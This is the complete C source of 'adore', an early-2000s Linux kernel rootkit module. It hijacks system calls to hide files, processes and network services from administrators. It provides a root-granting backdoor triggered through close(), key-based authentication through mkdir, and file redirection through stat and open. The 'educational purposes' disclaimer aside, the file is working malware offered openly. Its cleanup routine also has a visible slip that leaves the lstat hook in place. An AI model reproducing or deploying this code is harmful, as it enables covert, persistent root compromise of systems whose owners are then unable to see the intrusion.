/*** (C) 2001 by Stealth -- http://spider.scorpions.net/~stealth *** *** *** (C)'ed Under a BSDish license. Please look at LICENSE-file. *** SO YOU USE THIS AT YOUR OWN RISK! *** YOU ARE ONLY ALLOWED TO USE THIS IN LEGAL MANNERS. *** !!! FOR EDUCATIONAL PURPOSES ONLY !!! *** *** -> Use ava to get all the things workin'. *** *** Greets fly out to all my friends. You know who you are. :) *** Special thanks to Shivan for granting root access to his *** SMP box for adore-development. More thx to skyper for also *** granting root access. *** ***/ #define MODULE #define __KERNEL__ #ifdef MODVERSIONS #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "adore.h" extern void *sys_call_table[]; int (*o_getdents)(unsigned int, struct dirent *, unsigned int); int (*o_kill)(int, int); int (*o_write)(unsigned int, char *, size_t); int (*o_fork)(struct pt_regs); int (*o_clone)(struct pt_regs); int (*o_close)(unsigned int); int (*o_symlink)(const char *, const char*); long (*o_mkdir)(const char *, int); int (*o_stat)(char *, struct stat *); int (*o_lstat)(char *, struct stat *); int (*o_open)(char *, int, int); int (*o_oldstat)(char *, struct __old_kernel_stat *); int (*o_oldlstat)(char *, struct __old_kernel_stat *); #ifdef __NR_stat64 int (*o_stat64)(char *, struct stat64 *, long); #endif #ifdef __NR_lstat64 int (*o_lstat64)(char *, struct stat64 *, long); #endif /* base = 10 * Special atoi: makes "/proc/478" 478 */ int my_atoi(const char *str) { int ret = 0, mul = 1; const char *ptr; for (ptr = str; *ptr; ptr++) ; ptr--; while (ptr >= str) { if (*ptr < '0' || *ptr > '9') break; ret += (*ptr - '0') * mul; mul *= 10; ptr--; } return ret; } /* Own implementation of find_task_by_pid() */ struct task_struct *my_find_task(pid_t pid) { struct task_struct *p; for_each_task(p) { if (p->pid == pid) return p; } return NULL; } /* Look whether the PID holds the PF_INVISIBLE flag */ int is_invisible(pid_t pid) { struct task_struct *p; if (pid < 0) return 0; if ((p = my_find_task(pid)) == NULL) return 0; return ((p->flags & PF_INVISIBLE) == PF_INVISIBLE); } /* Look whether a file, with inode# 'ino' is hidden */ int is_secret(struct super_block *sb, struct dirent *d) { struct inode *inode; int ret; if (!sb || !d) return 0; if (strcmp(d->d_name, ".") == 0 || strcmp(d->d_name, "..") == 0) return 0; if ((inode = iget(sb, d->d_ino)) == NULL) return 0; /* Is it hidden ? */ if (inode->i_uid == ELITE_UID) ret = 1; else ret = 0; iput(inode); return ret; } #ifdef __NR_getdents64 /* Look whether a file, with inode# 'ino' is hidden * 64 Bit version */ int is_secret64(struct super_block *sb, struct linux_dirent64 *d) { struct inode *inode; struct nameidata nd; int ret; mm_segment_t fs; if (!sb || !d) return 0; if (strcmp(d->d_name, ".") == 0 || strcmp(d->d_name, "..") == 0) return 0; fs = get_fs(); set_fs(KERNEL_DS); /* user_path_walk expects data in userspace */ if ((ret = user_path_walk_link(d->d_name, &nd))) { set_fs(fs); return 0; } set_fs(fs); if ((inode = nd.dentry->d_inode) == NULL) return 0; /* Is it hidden ? */ if (inode->i_uid == ELITE_UID) ret = 1; else ret = 0; return ret; } #endif // __NR_getdents64 /* Mark a process for invisibility. */ int hide_process(pid_t pid) { struct task_struct *p; /* Nobody may mess with swapper+init */ if (pid <= 1) return -1; if ((p = my_find_task(pid)) == NULL) return -1; p->flags |= (PF_INVISIBLE|PF_AUTH); return 0; } /* Remove process from task-struct */ int remove_process(pid_t pid) { struct task_struct *p; /* Nobody may mess with swapper+init */ if (pid <= 1) return -1; if ((p = my_find_task(pid)) == NULL) return -1; /* Must not have childs */ if (p->p_cptr != NULL) return -1; /* from sched.h */ REMOVE_LINKS(p); return 0; } /* Make process visible again. (un-mark it) */ int unhide_process(pid_t pid) { struct task_struct *p = my_find_task(pid); if (!p) return -1; p->flags &= ~(PF_INVISIBLE|PF_AUTH); return 0; } /* Actually, do the hack. Change all PF_INVISIBLE proc's * PID to 0, making them disappear for proc's * get_pid_list(). */ int strip_invisible() { struct task_struct *p; for_each_task(p) { if (p->flags & PF_INVISIBLE) { /* temorary save PID in exit_code */ p->exit_code = p->pid; p->pid = 0; } } return 0; } /* ditto (reverse) */ int unstrip_invisible() { struct task_struct *p; for_each_task(p) { if (p->flags & PF_INVISIBLE) { p->pid = p->exit_code; p->exit_code = 0; } } return 0; } /* remove all files from dirent, which are secret */ int n_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { int ret, proc = 0, offset, r; struct inode *dinode; struct file *file; char *ptr; struct dirent *curr, *prev = NULL, *d, *orig_d; struct super_block *sb; lock_kernel(); if ((file = fget(fd)) == NULL) { unlock_kernel(); return -EBADF; } /* Fetch the right superblock for this directory (fd) */ sb = file->f_dentry->d_sb; dinode = file->f_dentry->d_inode; /* are we in /proc ? */ if (dinode->i_ino == PROC_ROOT_INO) proc = 1; /*#define USE_NEW_PROCS*/ /* define if you want to use new process hiding * technique */ #ifdef USE_NEW_PROCS /* OK. if we are in proc, strip invisible processes */ if (proc) strip_invisible(); #endif ret = o_getdents(fd, dirp, count); #ifdef USE_NEW_PROCS /* Make them appear with normal PID again */ if (proc) unstrip_invisible(); #endif if (ret <= 0) goto out; if ((d = kmalloc(ret, GFP_KERNEL)) == NULL) goto out; copy_from_user(d, dirp, ret); orig_d = d; ptr = (char*)d; r = ret; while (ptr < (char *)orig_d + r) { curr = (struct dirent *)ptr; offset = curr->d_reclen; /* offset to next entry */ #ifdef USE_NEW_PROCS if (is_secret(sb, curr)) { #else if (is_secret(sb, curr) || (proc && is_invisible(my_atoi(curr->d_name)))) { #endif if (!prev) { /* if first entry is hidden */ ret -= offset; /* cut it off */ d = (struct dirent*)((char*)d + offset); } else { /* not first */ prev->d_reclen += offset; memset(curr, 0, offset); } } else prev = curr; ptr += offset; } copy_to_user(dirp, d, ret); kfree(orig_d); out: fput(file); unlock_kernel(); return ret; } #ifdef __NR_getdents64 /* remove all files from dirent, which are secret */ long n_getdents64(unsigned int fd, void *vp, unsigned int count) { int ret, proc = 0, offset, r; struct inode *dinode; struct file *file; char *ptr; struct linux_dirent64 *curr, *prev = NULL, *d, *orig_d, *dirp; struct super_block *sb; lock_kernel(); dirp = (struct linux_dirent64 *)vp; if ((file = fget(fd)) == NULL) { unlock_kernel(); return -EBADF; } /* Fetch the right superblock for this directory (fd) */ sb = file->f_dentry->d_sb; dinode = file->f_dentry->d_inode; /* are we in /proc ? */ if (dinode->i_ino == PROC_ROOT_INO) proc = 1; /*#define USE_NEW_PROCS*/ /* define if you want to use new process hiding * technique */ #ifdef USE_NEW_PROCS /* OK. if we are in proc, strip invisible processes */ if (proc) strip_invisible(); #endif ret = o_getdents64(fd, dirp, count); #ifdef USE_NEW_PROCS /* Make them appear with normal PID again */ if (proc) unstrip_invisible(); #endif if (ret <= 0) goto out; if ((d = kmalloc(ret, GFP_KERNEL)) == NULL) goto out; copy_from_user(d, dirp, ret); orig_d = d; ptr = (char*)d; r = ret; while (ptr < (char *)orig_d + r) { curr = (struct linux_dirent64 *)ptr; offset = curr->d_reclen; /* offset to next entry */ #ifdef USE_NEW_PROCS if (is_secret64(sb, curr)) { #else if (is_secret64(sb, curr) || (proc && is_invisible(my_atoi(curr->d_name)))) { #endif if (!prev) { /* if first entry is hidden */ ret -= offset; /* cut it off */ d = (struct linux_dirent64*)((char*)d + offset); } else { /* not first */ prev->d_reclen += offset; memset(curr, 0, offset); } } else prev = curr; ptr += offset; } copy_to_user(dirp, d, ret); kfree(orig_d); out: fput(file); unlock_kernel(); return ret; } #endif /* __NR_getdents64 */ /* The new fork. Its task is to inherit the PF_INVISIBLE * to childs. */ int n_fork(struct pt_regs regs) { pid_t pid; int hide = 0; lock_kernel(); if (is_invisible(current->pid)) ++hide; pid = o_fork(regs); if (hide && pid >= 0) hide_process(pid); unlock_kernel(); return pid; } int n_clone(struct pt_regs regs) { pid_t pid; int hide = 0; lock_kernel(); if (is_invisible(current->pid)) ++hide; pid = o_clone(regs); if (hide && pid > 0) hide_process(pid); unlock_kernel(); return pid; } int n_kill(pid_t pid, int sig) { struct task_struct *p; int ret; lock_kernel(); if (sig != SIGINVISIBLE && sig != SIGVISIBLE && sig != SIGREMOVE) { /* If someone from outside try's to send signals to * us, refuse (except init) */ if (is_invisible(pid) && !is_invisible(current->pid) && current->pid != 1) ret = -ESRCH; else ret = o_kill(pid, sig); unlock_kernel(); return ret; } /* authenticated? */ if ((current->flags & PF_AUTH) != PF_AUTH) { ret = -ESRCH; goto out; } if ((p = my_find_task(pid)) == NULL) { ret = -ESRCH; goto out; } if (current->uid && current->euid) { ret = -EPERM; goto out; } if (sig == SIGINVISIBLE) ret = hide_process(pid); else if (sig == SIGREMOVE) ret = remove_process(pid); else ret = unhide_process(pid); out: unlock_kernel(); return ret; } /* Woa! Incredible. We don't hide by read() but by write() !!! * Groundbreaking new and effective. */ int n_write(unsigned int fd, char *buf, size_t count) { char tmp[2000]; int r, i; lock_kernel(); /* Is it netstat ? */ if (strcmp(current->comm, "netstat") == 0 ) { memset(tmp, 0, sizeof(tmp)); copy_from_user(tmp, buf, sizeof(tmp)-1); for (i = 0; HIDDEN_SERVICES[i]; ++i) { if (strstr(tmp, HIDDEN_SERVICES[i])) { unlock_kernel(); return count; } } } r = o_write(fd, buf, count); unlock_kernel(); return r; } /* The rootshell-backdoor */ int n_close(unsigned int fd) { int r; lock_kernel(); switch (fd) { case ELITE_CMD: if ((current->flags & PF_AUTH) != PF_AUTH) { r = -EPERM; break; } /* Raise normal UID stuff ... */ current->uid = current->euid = 0; current->gid = current->egid = 0; current->suid = current->sgid = 0; current->fsuid = current->fsgid = 0; /* ... as well as new Capabilities */ cap_t(current->cap_effective) = ~0; cap_t(current->cap_inheritable) = ~0; cap_t(current->cap_permitted) = ~0; r = 0; break; /* to uninstall adore */ case ELITE_CMD + 1: if ((current->flags & PF_AUTH) != PF_AUTH) { r = -EPERM; break; } r = cleanup_module(); break; /* to check whether adore is installed */ case ELITE_CMD + 2: if ((current->flags & PF_AUTH) != PF_AUTH) { r = -EPERM; break; } r = ADORE_VERSION; break; /* just the normal setuid() */ default: r = o_close(fd); break; } unlock_kernel(); return r; } /* "Authenticate" before you can use any adore functions */ long n_mkdir(const char *path, int mode) { char key[64]; long r, l; lock_kernel(); if ((l = strnlen_user(path, PATH_MAX)) < sizeof(key)) { memset(key, 0, sizeof(key)); copy_from_user(key, path, l); if (strcmp(key, ADORE_KEY) == 0) { current->flags |= PF_AUTH; unlock_kernel(); return 1; } } r = o_mkdir(path, mode); unlock_kernel(); return r; } /* Free pathname data structure. * Can be called multiple times on same object. * We need this Versprechen since we'll use * it. */ void fp_put(struct pathname *pn) { if (!pn) return; if (pn->buf) kfree(pn->buf); pn->buflen = 0; pn->buf = NULL; } /* Attempt to resolve full path of file */ int fp_get(char *str, struct pathname *pn) { char *path, *kname; struct dentry *dentry; pn->buf = NULL; if (IS_ERR(kname = getname(str))) return -1; pn->buf = path = kmalloc(PATH_MAX, GFP_KERNEL); #if LINUX_VERSION_CODE > LinuxVersionCode(2,3,0) { struct nameidata nd; struct vfsmount *mnt; if (path_init(kname, LOOKUP_FOLLOW|LOOKUP_POSITIVE, &nd)) { if (path_walk(kname, &nd)) { fp_put(pn); putname(kname); return -1; } } dentry = nd.dentry; mnt = nd.mnt; if (IS_ERR(dentry) || IS_ERR(mnt)) { fp_put(pn); putname(kname); return -1; } str = d_path(dentry, mnt, path, PATH_MAX); path_release(&nd); } #else dentry = open_namei(kname, 0, 0); if (IS_ERR(dentry)) { fp_put(pn); putname(kname); return -1; } str = d_path(dentry, path, PATH_MAX); dput(dentry); #endif putname(kname); strncpy(path, str, PATH_MAX); pn->buflen = strnlen(path, PATH_MAX); return 0; } /* * We're doing real file redirection, the original file gets stat'ed. * In case of any error, let the origianl syscall handle the return codes. */ int n_oldstat(char *filename, struct __old_kernel_stat *statbuf) { int count, r; struct pathname pn; lock_kernel(); /* Try to get full path, if failed, let the real syscall handle the error */ if (fp_get(filename, &pn)) goto out; /* Walk the entire redirect list, if any. */ for (count = 0; redir[count].requested; count++) { if (strstr(pn.buf, redir[count].requested)) { struct __old_kernel_stat kstatbuf; mm_segment_t orig_fs; fp_put(&pn); /* Copy the stat buf into kernel space */ if (copy_from_user(&kstatbuf, statbuf, sizeof(struct __old_kernel_stat))) goto out; /* Our data is in kernel space */ orig_fs = get_fs(); set_fs(KERNEL_DS); /* Call the original syscall with the redirected filename */ r = o_oldstat(redir[count].redirected, &kstatbuf); set_fs(orig_fs); /* Copy statbuf back into userspace, we know its size... */ if (copy_to_user(statbuf, &kstatbuf, sizeof(struct __old_kernel_stat))) r = -EFAULT; unlock_kernel(); return r; } } out: fp_put(&pn); /* No redirect for this file, call with user supplied filename */ r = o_oldstat(filename, statbuf); unlock_kernel(); return r; } /* * We're doing real file redirection, the original file gets stat'ed. * In case of any error, let the origianl syscall handle the return codes. */ int n_oldlstat(char *filename, struct __old_kernel_stat *statbuf) { int count, r; struct pathname pn; lock_kernel(); /* Try to get full path, if failed, let the real syscall handle the error */ if (fp_get(filename, &pn)) goto out; /* Walk the entire redirect list, if any. */ for (count = 0; redir[count].requested; count++) { if (strstr(pn.buf, redir[count].requested)) { struct __old_kernel_stat kstatbuf; mm_segment_t orig_fs; fp_put(&pn); /* Copy the stat buf into kernel space */ if (copy_from_user(&kstatbuf, statbuf, sizeof(struct __old_kernel_stat))) goto out; /* Our data is in kernel space */ orig_fs = get_fs(); set_fs(KERNEL_DS); /* Call the original syscall with the redirected filename */ r = o_oldlstat(redir[count].redirected, &kstatbuf); set_fs(orig_fs); /* Copy statbuf back into userspace, we know its size... */ if (copy_to_user(statbuf, &kstatbuf, sizeof(struct __old_kernel_stat))) r = -EFAULT; unlock_kernel(); return r; } } out: fp_put(&pn); /* No redirect for this file, call with user supplied filename */ r = o_oldlstat(filename, statbuf); unlock_kernel(); return r; } /* * We're doing real file redirection, the original file gets stat'ed. * In case of any error, let the origianl syscall handle the return codes. */ int n_stat(char *filename, struct stat *statbuf) { int count, r; struct pathname pn; lock_kernel(); /* Try to get full path, if failed, let the real syscall handle the error */ if (fp_get(filename, &pn)) goto out; /* Walk the entire redirect list, if any. */ for (count = 0; redir[count].requested; count++) { if (strstr(pn.buf, redir[count].requested)) { struct stat kstatbuf; fp_put(&pn); /* Copy the stat buf into kernel space */ if (copy_from_user(&kstatbuf, statbuf, sizeof(struct stat))) goto out; /* Our data is in kernel space */ set_fs(KERNEL_DS); /* Call the original syscall with the redirected filename */ r = o_stat(redir[count].redirected, &kstatbuf); /* Copy statbuf back into userspace, we know its size... */ if (copy_to_user(statbuf, &kstatbuf, sizeof(struct stat))) r = -EFAULT; unlock_kernel(); return r; } } out: fp_put(&pn); /* No redirect for this file, call with user supplied filename */ r = o_stat(filename, statbuf); unlock_kernel(); return r; } /* * We're doing real file redirection, the original file gets stat'ed. * In case of any error, let the origianl syscall handle the return codes. */ int n_lstat(char *filename, struct stat *statbuf) { int count, r; struct pathname pn; lock_kernel(); /* Try to get full path, if failed, let the real syscall handle the error */ if (fp_get(filename, &pn)) goto out; /* Walk the entire redirect list, if any. */ for (count = 0; redir[count].requested; count++) { if (strstr(pn.buf, redir[count].requested)) { struct stat kstatbuf; mm_segment_t orig_fs; fp_put(&pn); /* Copy the stat buf into kernel space */ if (copy_from_user(&kstatbuf, statbuf, sizeof(struct stat))) goto out; /* Our data is in kernel space */ orig_fs = get_fs(); set_fs(KERNEL_DS); /* Call the original syscall with the redirected filename */ r = o_lstat(redir[count].redirected, &kstatbuf); set_fs(orig_fs); /* Copy statbuf back into userspace, we know its size... */ if (copy_to_user(statbuf, &kstatbuf, sizeof(struct stat))) r = -EFAULT; unlock_kernel(); return r; } } out: fp_put(&pn); /* No redirect for this file, call with user supplied filename */ r = o_lstat(filename, statbuf); unlock_kernel(); return r; } #ifdef __NR_stat64 /* * We're doing real file redirection, the original file gets stat'ed. * In case of any error, let the origianl syscall handle the return codes. */ int n_stat64(char *filename, struct stat64 *statbuf, long flags) { int count, r; struct pathname pn; lock_kernel(); /* Try to get full path, if failed, let the real syscall handle the error */ if (fp_get(filename, &pn)) goto out; /* Walk the entire redirect list, if any. */ for (count = 0; redir[count].requested; count++) { if (strstr(pn.buf, redir[count].requested)) { struct stat64 kstatbuf; mm_segment_t orig_fs; fp_put(&pn); /* Copy the stat buf into kernel space */ if (copy_from_user(&kstatbuf, statbuf, sizeof(struct stat64))) goto out; /* Our data is in kernel space */ orig_fs = get_fs(); set_fs(KERNEL_DS); /* Call the original syscall with the redirected filename */ r = o_stat64(redir[count].redirected, &kstatbuf, flags); set_fs(orig_fs); /* Copy statbuf back into userspace, we know its size... */ if (copy_to_user(statbuf, &kstatbuf, sizeof(struct stat64))) r = -EFAULT; unlock_kernel(); return r; } } out: fp_put(&pn); /* No redirect for this file, call with user supplied filename */ r = o_stat64(filename, statbuf, flags); unlock_kernel(); return r; } #endif #ifdef __NR_lstat64 /* * We're doing real file redirection, the original file gets stat'ed. * In case of any error, let the origianl syscall handle the return codes. * */ int n_lstat64(char *filename, struct stat64 *statbuf, long flags) { int count, r; struct pathname pn; lock_kernel(); /* Try to get full path, if failed, let the real syscall handle the error */ if (fp_get(filename, &pn)) goto out; /* Walk the entire redirect list, if any. */ for (count = 0; redir[count].requested; count++) { if (strstr(pn.buf, redir[count].requested)) { struct stat64 kstatbuf; mm_segment_t orig_fs; fp_put(&pn); /* Copy the stat buf into kernel space */ if (copy_from_user(&kstatbuf, statbuf, sizeof(struct stat64))) goto out; /* Our data is in kernel space */ orig_fs = get_fs(); set_fs(KERNEL_DS); /* Call the original syscall with the redirected filename */ r = o_lstat64(redir[count].redirected, &kstatbuf, flags); set_fs(orig_fs); /* Copy statbuf back into userspace, we know its size... */ if (copy_to_user(statbuf, &kstatbuf, sizeof(struct stat64))) r = -EFAULT; unlock_kernel(); return r; } } out: fp_put(&pn); /* No redirect for this file, call with user supplied filename */ r = o_lstat64(filename, statbuf, flags); unlock_kernel(); return r; } #endif /* * We're doing real file redirection, the original file gets opened. * In case of any error, let the origianl syscall handle the return codes. */ int n_open(char *filename, int flags, int mode) { int count, r; struct pathname pn; lock_kernel(); /* Try to get full path, if failed, let the real syscall handle the error */ if (fp_get(filename, &pn)) goto out; /* Walk the entire redirect list, if any. */ for (count = 0; redir[count].requested; count++) { if (!strcmp(pn.buf, redir[count].requested)) { mm_segment_t orig_fs; fp_put(&pn); orig_fs = get_fs(); /* Our data is in kernel space */ set_fs(KERNEL_DS); /* Call the original syscall with the redirected * filename. */ r = o_open(redir[count].redirected, flags, mode); set_fs(orig_fs); unlock_kernel(); return r; } } out: fp_put(&pn); /* No redirect for this file, call with user supplied filename */ r = o_open(filename, flags, mode); unlock_kernel(); return r; } int init_module(void) { struct task_struct *p = current; lock_kernel(); EXPORT_NO_SYMBOLS; /* Fill in init_hook (Eisbein mit Sauerkraut :) */ for (; p->pid != 1; p = p->next_task) ; init_hook = p; #define REPLACE(x) o_##x = sys_call_table[__NR_##x];\ sys_call_table[__NR_##x] = n_##x REPLACE(write); REPLACE(getdents); REPLACE(kill); REPLACE(fork); REPLACE(clone); REPLACE(close); REPLACE(open); REPLACE(stat); REPLACE(lstat); REPLACE(oldstat); REPLACE(oldlstat); #ifdef __NR_stat64 REPLACE(stat64); #endif #ifdef __NR_lstat64 REPLACE(lstat64); #endif REPLACE(mkdir); #ifdef __NR_getdents64 REPLACE(getdents64); #endif unlock_kernel(); return 0; } int cleanup_module(void) { /* need unlock_kernel() b/c this function may be called * from within adore */ lock_kernel(); #define RESTORE(x) sys_call_table[__NR_##x] = o_##x RESTORE(write); RESTORE(getdents); RESTORE(kill); RESTORE(fork); RESTORE(clone); RESTORE(close); RESTORE(open); RESTORE(stat); REPLACE(lstat); RESTORE(oldstat); RESTORE(oldlstat); #ifdef __NR_stat64 RESTORE(stat64); #endif #ifdef __NR_lstat64 RESTORE(lstat64); #endif RESTORE(mkdir); #ifdef __NR_getdents64 RESTORE(getdents64); #endif /* ditto */ unlock_kernel(); return 0; }